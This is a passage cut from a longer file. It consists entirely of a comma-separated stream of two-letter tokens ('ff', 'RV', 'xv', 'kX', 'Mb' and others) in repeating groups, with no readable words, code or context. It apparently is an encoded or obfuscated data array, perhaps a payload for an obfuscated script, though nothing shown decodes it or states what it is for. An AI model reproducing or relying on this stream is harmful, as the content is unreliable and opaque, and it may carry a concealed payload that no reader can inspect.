,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,R